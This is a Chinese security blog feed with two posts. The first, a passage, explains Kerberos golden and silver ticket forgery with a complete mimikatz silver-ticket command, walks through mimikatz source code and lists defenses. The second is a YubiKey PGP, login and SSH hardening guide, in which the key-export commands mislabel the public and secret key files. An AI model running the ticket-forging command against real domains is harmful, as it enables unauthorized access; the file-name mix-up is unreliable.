  • 目标计算机账号（或对应服务账号，如 MS SQL）的 Hash
  • 目标服务器的 FQDN（Fully Qualified Domain Name，如 adsmswin2k8r2.example.domain.local）

伪造白银票据的方法和工具

mimikatz

mimikatz “kerberos::golden /admin:Administrator /id:500 /domain:example.domain.local /sid:S-1-5-21-1473643419-774954089-2222329127 /target:adsmswin2k8r2.example.domain.local /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt” exit

使用和其他功能同黄金票据。

黄金、白银票据的差异
  • 黄金票据伪造的是 TGT，白银票据伪造的是 Ticket；黄金票据是在 Kerberos 协议中的第三步（TGS-REQ）开始，而白银票据是从第五步（AP-REQ）开始。两者伪造的信息和伪造的步骤都不同。
  • 黄金票据需要与 KDC 通信，而白银票据不需要。
  • 黄金票据需要 krbtgt 账号的 NTLM Hash，而白银票据需要的是目标计算机对应的账号或对应服务账号的 NTLM Hash。
  • 白银票据需要指定目标服务/计算机的路径（如 adsmswin2k8r2.example.domain.local），以及对应的服务名（如 cifs, rpcss, http, mssql）。
  • 白银票据只对指定计算机上的指定服务生效，局限性比较大。
PTT 的一些实现细节

可以看到在生成黄金票据的时候，mimikatz 会提示生成了好几部分内容，这些提示我试图查找一些资料，都没有找到现成的解释，于是都去翻了翻 mimikatz 的源码试图找到合理的解释。

在 kuhl_m_kerberos.c #508 处的 kuhl_m_kerberos_golden_data 函数，是负责生成黄金票据信息的主要函数，可以看到有相关的一些参数。

继续查看该函数实现的定义，如下

if(sid) // we want a PAC ! { if(pValidationInfo = kuhl_m_pac_infoToValidationInfo(&lifetime->TicketStart, username, domainname, LogonDomainName, sid, userid, groups, cbGroups, sids, cbSids)) { if(kuhl_m_pac_validationInfo_to_PAC(pValidationInfo, NULL, NULL, SignatureType, pClaimsSet, &pacType, &pacTypeSize)) { kprintf(L" * PAC generated\n"); status = kuhl_m_pac_signature(pacType, pacTypeSize, SignatureType, key, keySize); if(NT_SUCCESS(status)) kprintf(L" * PAC signed\n"); } } } if(!sid || NT_SUCCESS(status)) { if(BerApp_EncTicketPart = kuhl_m_kerberos_ticket_createAppEncTicketPart(&ticket, pacType, pacTypeSize)) { kprintf(L" * EncTicketPart generated\n"); status = kuhl_m_kerberos_encrypt(keyType, KRB_KEY_USAGE_AS_REP_TGS_REP, key, keySize, BerApp_EncTicketPart->bv_val, BerApp_EncTicketPart->bv_len, (LPVOID *) &ticket.Ticket.Value, &ticket.Ticket.Length, TRUE); if(NT_SUCCESS(status)) { kprintf(L" * EncTicketPart encrypted\n"); if(BerApp_KrbCred = kuhl_m_kerberos_ticket_createAppKrbCred(&ticket, FALSE)) kprintf(L" * KrbCred generated\n"); LocalFree(ticket.Ticket.Value); } else PRINT_ERROR(L"kuhl_m_kerberos_encrypt %08x\n", status); ber_bvfree(BerApp_EncTicketPart); } }

一共分成三部分，分别是

  • 生成PAC并对其签名
  • 生成并加密EncTicketPart
  • 生成最终的TGT

生成和签名PAC

可以看到是先通过函数 kuhl_m_pac_infoToValidationInfo（这些信息包括 LogoffTime, PasswordLastSet, PasswordMustChange 等） 和 kuhl_m_pac_validationInfo_to_PAC 生成验证信息并转化为PAC 结构，然后用 kuhl_m_pac_signature 函数对其签名，PAC 信息就生成完毕，代码见 kuhl_m_kerberos_pac.c#L146 。

生成和加密EncTicketPart

接下来使用函数kuhl_m_kerberos_ticket_createAppEncTicketPart （参考 kuhl_m_kerberos_ticket.c#L250）生成 EncTicketPart，这个EncTicketPart就是是组成 TGT 的重要组成部分，TGT 的详细组成后面会讲。

查看一下该函数的实现细节如下（部分代码）：

ber_printf(pBer, "t{{t{", MAKE_APP_TAG(ID_APP_ENCTICKETPART), MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_FLAGS)); kull_m_asn1_BitStringFromULONG(pBer, ticket->TicketFlags); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_KEY)); kuhl_m_kerberos_ticket_createSequenceEncryptionKey(pBer, ticket->KeyType, ticket->Key.Value, ticket->Key.Length); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CREALM)); kull_m_asn1_GenString(pBer, &ticket->AltTargetDomainName); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_CNAME)); kuhl_m_kerberos_ticket_createSequencePrimaryName(pBer, ticket->ClientName); ber_printf(pBer, "}t{{t{i}t{o}}}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_TRANSITED), MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_TR_TYPE), 0, MAKE_CTX_TAG(ID_CTX_TRANSITEDENCODING_CONTENTS), NULL, 0, MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_AUTHTIME)); kull_m_asn1_GenTime(pBer, &ticket->StartTime); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_STARTTIME)); kull_m_asn1_GenTime(pBer, &ticket->StartTime); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_ENDTIME)); kull_m_asn1_GenTime(pBer, &ticket->EndTime); ber_printf(pBer, "}t{", MAKE_CTX_TAG(ID_CTX_ENCTICKETPART_RENEW_TILL)); kull_m_asn1_GenTime(pBer, &ticket->RenewUntil); ber_printf(pBer, "}"); /* ID_CTX_ENCTICKETPART_CADDR not present */

可以看到一些该部分是由 ID_CTX_ENCTICKETPART_FLAGS, ID_CTX_ENCTICKETPART_KEY, ID_CTX_ENCTICKETPART_CREALM 等信息组成的，这就是 EncTicketPart 的主要组成结构（参考 RFC4120）。

在生成完 EncTicketPart 之后，需要使用之前生成的随机的 Session Key 对其加密（本来 Session Key 是由 KDC 协商的，因为这里是伪造的，所以是本地生成）。实现的函数是kuhl_m_kerberos_encrypt。

生成最终的TGT

然后是kuhl_m_kerberos_ticket_createAppKrbCred 函数创建最终的TGT（参考 kuhl_m_kerberos_ticket.c#L196），Ticket的结构如下：

Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno [0] INTEGER (5), realm [1] Realm, sname [2] PrincipalName, enc-part [3] EncryptedData -- EncTicketPart }

创建完之后，将伪造的黄金票据注入到内存中，使用 kuhl_m_kerberos_ptt_data 函数（参考），该函数先将伪造的黄金票据复制到内存中，然后调用LsaCallAuthenticationPackage 函数来解析缓存中的认证信息，验证是否可用。

0x06 防御 保护域控和敏感账户
  • 限制域管理员和其他高权限账户登陆低信任程度的服务器。
  • 给管理员提供专门的高权限用户来进行管理操作，与日常使用的普通权限用户区分开。
  • 使用专门的工作站来进行管理任务。
  • 在域环境中，将特权账户标记为敏感且不能委派（sensitive and cannot be delegated）。
  • 不要使用高权限的域账号在不受信任的系统（如个人电脑）上配置服务或者计划任务。

小结： 如果从未在被入侵的计算机上登陆过高权限账户，那么攻击者无法窃取高权限账号的信息。这些措施可以明显增高攻击者危害高权限账户的攻击成本。

重置 krbtgt 账号密码

重置该账号密码可以使得所以所有生成的黄金票据立即失效，可能会导致一些手动输入密码的服务失效，同时造成短时间内域控的负载增大。

开启 PAC 验证

开启 PAC 验证，但会增加 KDC 的压力。

检测

gentilkiwi 写了一个 yara 规则用来检测 dump hash 的相关，见 kiwi_passowrds.yar

0x07 参考链接

https://www.secpulse.com/archives/94848.html

http://cert.europa.eu/static/WhitePapers/CERT-EU-SWP_14_07_PassTheGolden_Ticket_v1_1.pdf

https://tools.ietf.org/html/rfc4120#section-5.8

http://www.securityandit.com/network/kerberos-protocol-understanding/

https://github.com/gentilkiwi/mimikatz

https://en.wikipedia.org/wiki/NT_LAN_Manager

https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/

https://ldapwiki.com/wiki/Golden%20Ticket

https://pentestlab.blog/2018/04/09/golden-ticket/

https://adsecurity.org/?p=2011

https://download.microsoft.com/download/7/7/a/77abc5bd-8320-41af-863c-6ecfb10cb4b9/mitigating%20pass-the-hash%20(pth)%20attacks%20and%20other%20credential%20theft%20techniques_english.pdf

https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4

使用 Yubikey 加固你的系统

Green_m's blog
6 years 2 months ago
0x00 前言

2022-12-15： 更新 SSH 登陆部分。

最开始了解到 yubikey 是因为和一个朋友聊到 PGP 的问题，我觉得 PGP 保存私钥很麻烦，换一个环境或者电脑被搬走的话还是存在一些风险的，放云上就更加不用说了。然后他就说你可以考虑一下 yubikey。

其实我之前也听某个群里的大佬说到过 yubikey，初听时就觉得这个东西应该很不错，安全级别应该很高，因为那会还没有开始使用 PGP，只是把 yubikey 当作一个开机的智能卡，所以也就没有深入去了解这个东西了。

现在重新了解一下 yubikey 发现这个玩意儿功能真的齐全，而且很难得的是兼容性很好，几乎兼容市面上所有主流操作系统，商业公司值得信赖。

下面就介绍一下 yubikey 在我这里的使用场景，以及踩的一些坑，希望大家看了能有一些收获。

0x01 选购 yubikey

Yubikey 4 (Nano) 这是最常见的，也是最受欢迎的型号，这个型号提供了几乎所有的功能，除了NFC，Nano版本和普通版本的区别在于Nano版本比较小，适合一直插在电脑USB口上；而普通版本可以穿在钥匙扣上。

Yubikey 4C (Nano) 和上面的版本功能一模一样，除了USB口是 Type C

YubiKey NEO 有NFC功能，但是NFC不支持 IOS。而且有一个比较坑的地方，NEO 和普通版本的 Yubikey 4 相比，密钥长度最高只支持到 2048，这跟我已经有的PGP密钥已经不匹配了。

详细的各版本功能比较可见官网，点击链接

最后还是选择了大众版本的 Yubikey 4。

购买途径的话，淘宝上有不少，理论上来说随便选一家价格差不多的也没差，毕竟这个东西造假成本非常高。

另外如果人在国外的话，可以考虑使用Github 的学生优惠去官网买，能便宜不少，寄回国内的话邮费就好像挺贵的。

0x02 PGP smartcard

作为我的主要使用场景，这部分会详细的介绍将 Yubikey 作为PGP 智能卡使用的流程。

注意：强烈建议用系统自带的GnuPG生成密钥，不要使用 Yubikey 自带的生成密钥的功能，自带的生成了之后私钥就永远都导不出来了，一旦丢失之前的密钥对全部失效。

这里就以我 Kali 下的环境作为示范，介绍如何生成及导入密钥，其他的系统环境请参考 Yubikey 官方英文文档

生成主密钥

安装gpg，一般系统都自带了

apt-get install gnupg

生成密钥

gpg --full-generate-key

然后会提示你选择密钥的种类，选择第一种 RSA and RSA (default)。

$ gpg --full-generate-key gpg (GnuPG) 2.2.9; Copyright (C) 2018 Free Software Foundation, Inc. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Please select what kind of key you want: (1) RSA and RSA (default) (2) DSA and Elgamal (3) DSA (sign only) (4) RSA (sign only) Your selection? 1

然后选择密钥长度，越长越难爆破，这里我选择 4096。

RSA keys may be between 1024 and 4096 bits long. What keysize do you want? (2048) 4096

然后选择过期时间，默认是永不过期，妥善保管好的话永不过期也没啥问题。

Please specify how long the key should be valid. 0 = key does not expire <n> = key expires in n days <n>w = key expires in n weeks <n>m = key expires in n months <n>y = key expires in n years Key is valid for? (0)

然后输入y确认信息。

然后是输入个人信息，包括姓名和电子邮件地址，电子邮件地址蛮重要的，很多地方会校验这个。

GnuPG needs to construct a user ID to identify your key. Real name: xxxx Name must be at least 5 characters long Real name: xxxxxx Email address: [email protected] Comment: asdsada You selected this USER-ID: "xxxxxx (asdsada) <[email protected]>" Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit?

确认后会要求你输入一个密码来保护私钥，这个密码就是你私钥的最后保护了，不要输入弱口令，尽量强一点。

等待一段时间，就会生成一个密钥。

We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy. gpg: key 5F63DB433630A82E marked as ultimately trusted gpg: directory '/Users/green/.gnupg/openpgp-revocs.d' created gpg: revocation certificate stored as '/Users/green/.gnupg/openpgp-revocs.d/0D9FCC48E1789FE46AAB8D9A5F63DB433630A82E.rev' public and secret key created and signed. pub rsa4096 2018-08-28 [SC] 0D9FCC48E1789FE46AAB8D9A5F63DB433630A82E uid xxxxxx (asdsada) <[email protected]> sub rsa4096 2018-08-28 [E]

这里主密钥和公钥就生成完成了，已经能满足基本使用需求了，但是为了能够能充分的使用 Yubikey ，我们还可以添加其他的两个子密钥，用来认证和签名，认证的密钥可以用来对 SSH 登陆进行认证，建议添加。

添加子密钥

编辑你的密钥，1234ABC是刚才生成的密钥ID，用gpg --list-keys 就可以查看。

gpg --expert --edit-key 1234ABC

然后输入 addkey

gpg> addkey Please select what kind of key you want: (3) DSA (sign only) (4) RSA (sign only) (5) Elgamal (encrypt only) (6) RSA (encrypt only) (7) DSA (set your own capabilities) (8) RSA (set your own capabilities) (10) ECC (sign only) (11) ECC (set your own capabilities) (12) ECC (encrypt only) (13) Existing key Your selection?

输入密码后，提示选择类型，输入8 选择RSA

Possible actions for a RSA key: Sign Encrypt Authenticate Current allowed actions: Sign Encrypt (S) Toggle the sign capability (E) Toggle the encrypt capability (A) Toggle the authenticate capability (Q) Finished Your selection?

添加认证类型，默认情况是只有 Sign Encrypt ，我们通过反复选择 S E A来更改这个密钥的性质，成为你所需要的密钥， 最后选择Q结束。 然后是一些过期时间之类的选择，和之前一样，结束后save一下就可以了。

导出与导入

将本地的密钥导出到硬盘，用作备份，以防 Yubikey 丢失。

私钥 gpg --export-secret-key --armor 1234ABC > public.key

公钥 gpg --export --armor 1234ABC > secret.key

导出后建议加密保存在本地。

将私钥装载到 Yubikey

插入yubikey，可以先查看一下状态.

gpg --card-status

可以在bashrc或者zshrc下取个别名，以后经常会用到这条命令的。

alias cs='gpg --card-status'

插入 Yubikey

gpg --expert --edit-key 1234ABC

会显示出你的主密钥和子密钥。

切换一下 gpg> toggle

选择签名密钥，然后导入密钥：

gpg> key 1 gpg> keytocard Please select where to store the key: (1) Signature key (3) Authentication key Your selection? 1

选择加密密钥，然后导入:

gpg> key 1 gpg> key 2 gpg> keytocard Please select where to store the key: (2) Encryption key Your selection? 2

最后保存

gpg> save

就一切成功了，最后quit退出即可，可以用gpg --card-status看一下状态。

在这之后，你的本地保存的私钥就不是真正的私钥了，虽然看起来还是，没多大区别，但实际上保存的只是一个虚拟地址，这个地址指向你的 Yubikey 保存密钥的位置。

如果你像我一样有多台电脑，家庭和单位都需要，你可以将现在的密钥导出（而不是真正的私钥），方法和之前一样，然后再导入到其他电脑上，这样多台电脑都可以使用yubikey来进行PGP认证了。

这就是基本的导入教程，可能没有其他教程详细，网上这类教程很多，有的就没有讲得太细。

vmware虚拟机问题

由于我的 Kali是在vmware虚拟机环境下，直接插入 Yubikey 是不识别的，需要修改对应虚拟机的相关vmx 文件。

打开对应虚拟机的vmx配置文件，在末尾添加，

usb.generic.allowHID = "TRUE" usb.generic.allowLastHID = "TRUE"

然后重启 vmware，选择对应的可移动设备连接就可以了。如果出现了两个类似的，都有yubikey开头，优先选择不带shared的，如果无效的话，就选择带shared的尝试。

我的工作电脑就只能用共享的yubikey进行连接，还好使用起来没有什么问题。

0x03 系统锁屏解锁

用 Yubikey 来解锁屏幕也是逼格满满的，厂商的兼容性真的是做的相当的好，几乎支持了全部主流PC系统，具体可以见官方连接

目前我的宿主机是windows，就介绍一下 windows 上登陆的使用，

下面简单介绍一下流程和注意事项，如果有一些其他的问题，建议还是以官方文档为准。

由于 windows 10 新加入的 windows hello，Yubikey 也集成了这个功能，可以和hello 搭配使用，使得操作更加简单方便，可以直接在微软商店中下载，但我的系统是win7不支持这种方式，下面就介绍win7下安装的要点。

准备工作

  • 官方推荐需要两个yubikey，一个用来备份，一个用来平时使用，这种方式更安全，一个的话也能用。

  • 下载 YubiKey Personalization Tool 下载链接

  • 本地管理员权限账户

  • 下载 YubiKey Windows Login software 下载链接

  • 已安装Microsoft .NET Framework 4.0

在安装过程中会需要重启。

注意：如果没有两个 yubikey 的话，加密性没有那么强，如果不慎丢失，可以进安全模式禁用该功能就好了。 如果对系统加密性要求比较高的同学，可以考虑购入两个 Yubikey。

安装和配置

按照文档安装上述两个工具就好了，一个工具是安装本地登陆验证流程相关的驱动，另外一个主要是配置Yubikey使用的。

一般中间不会出什么问题，按照示意图进行配置就好，由于软件界面也都是英文的，直接看英文文档反而更加清晰，就不翻译了。

需要注意的就是，配置好以后记得备份一下配置文件，尤其是使用两个Yubikey，选择安全模式下也加密的情况。

重启后就可以开心的使用了，每次锁屏后都需要插入yubikey才能成功登陆。

如果有机会的话我会更新其他系统安装的场景。

0x04 SSH登陆

我们可以直接使用GPG套件内的 gpg-agent 来对SSH连接进行认证，非常方便。

当然这里就体现出来咱们前面为啥要生成多个子密钥的作用了，如果没有生成认证用的子密钥的话，光靠主密钥是不能对SSH进行认证的。

下面介绍一下通过配置自动使用SSH连接时，优先使用 gpg认证密钥来认证的方法。

zsh下的配置(Kali下测试)

zsh 下可以直接使用插件 gpg-agent ，然后输入就可以完成

start_agent_withssh

如果一直出现如下报错 gpg-agent: a gpg-agent is already running - not starting a new on

将如下命令添加到 ~/.zshrc 即可

# Set SSH to use gpg-agent unset SSH_AGENT_PID if [ "${gnupg_SSH_AUTH_SOCK_by:-0}" -ne $$ ]; then export SSH_AUTH_SOCK="/run/user/$UID/gnupg/S.gpg-agent.ssh" fi

然后 source ~/.zshrc 就可解决错误。

Mac 下的 zsh配置

Macos 下和 Kali 下的配置不同，直接使用该插件会失败，配置方法如下：

安装pinentry-mac

brew install pinentry-mac

在文件~/.gnugp/gpg-agent.conf中添加

pinentry-program /usr/local/bin/pinentry-mac enable-ssh-support

然后在 ~/.zshrc中添加

export "GPG_TTY=$(tty)" export "SSH_AUTH_SOCK=${HOME}/.gnupg/S.gpg-agent.ssh"

最后重启gpg-agent

gpg-connect-agent killagent /bye gig-connect-agent /bye

无论是啥环境和shell，修改后都要记得 source 一下使之生效。

将公钥导出

用下列命令导出本地 SSH 公钥 ssh-add -L

如果有公钥出现，而且结尾字符串中是这样的形式 cardno:000607848047，那说明就成功了。

接下来就把刚才的 SSH 公钥，然后添加到对应主机的文件 ~/.ssh/authorized_keys 中，以后就可以插上yubikey 直接使用 ssh 连接了。

FIDO/FIDO2 结合 SSH (2022-12-25更新)

从 openssh 8.2 版本之后（客户端和服务端需要同时满足）， openssh 默认支持 FIDO/FIDO2 的认证方式，这意味着可以原生支持 yubikey 等智能卡登陆了。

如果你不确定自己的 openssh 版本，可以使用命令 ssh -V 查看。 如果使用的是 Macos(12.5.1 测试)，系统自带的 openssh 去掉了智能卡的支持1，需要重新安装。

brew install openssh export PATH=$(brew --prefix openssh)/bin:$PATH

生成 ecdsa-sk 类型的公私钥对：

ssh-keygen -t ecdsa-sk -C "Your yubikey name" -f ~/.ssh/myyubikey

如果想将该对密钥持久的保存在 yubikey 中，可以使用 resident 选项。

ssh-keygen -t ecdsa-sk -O resident -C "Your yubikey name" -f ~/.ssh/myyubikey

yubikey 提供了少量的存储空间，可以用来存储有限的 FIDO2 认证密钥。 如果换了新电脑或者新环境，可以使用如下命令恢复该密钥对。

ssh-keygen -K

执行后会在当前目录重新恢复之前的密钥对。 需要值得注意的是，智能卡生成的私钥不是真正的私钥，而是上文导入过后的 gpg 私钥一样，都是一个引用。所以重新恢复的密钥对，公钥是相同的，私钥则可以不同。

生成完之后把公钥上传到服务器即可正常使用，不用安装额外的 agent。 但之前使用 gpg-agent 的方式也有优点，因为使用 gpg 密钥对来认证，这意味着只要你的多个智能卡导入了同一个密钥，那么就可以无缝切换。而且没有版本要求，所以兼容性较好。

0x05 其他使用

其他的使用场景还有很多，如

  • Github, Google等等账户的二次认证设备
  • 静态密码生成器

这里就不介绍了，有兴趣的话搜一下相关资料。

0x06 总结

从开始使用 PGP 做认证开始，就越来越觉得密钥的保管是个大问题，尤其是 Metasploit 项目要求部分人员使用PGP进行签名，有时候需要在家里或者公司，如果都保存的话感觉泄露的风险就更大。

从这个角度来讲，Yubikey 完美解决了我的保管密钥的痛点，感觉很棒。

如果你也有和我类似的困扰，欢迎尝试yubikey。

  1. https://stackoverflow.com/questions/68573454/having-difficulty-to-get-ssh-with-a-yubikey-working-with-macos-monterey ↩

Checked
1 hour 34 minutes ago
Do things that others can't do.
URL
https://green-m.github.io//
Green_m's blog feed

Managed ad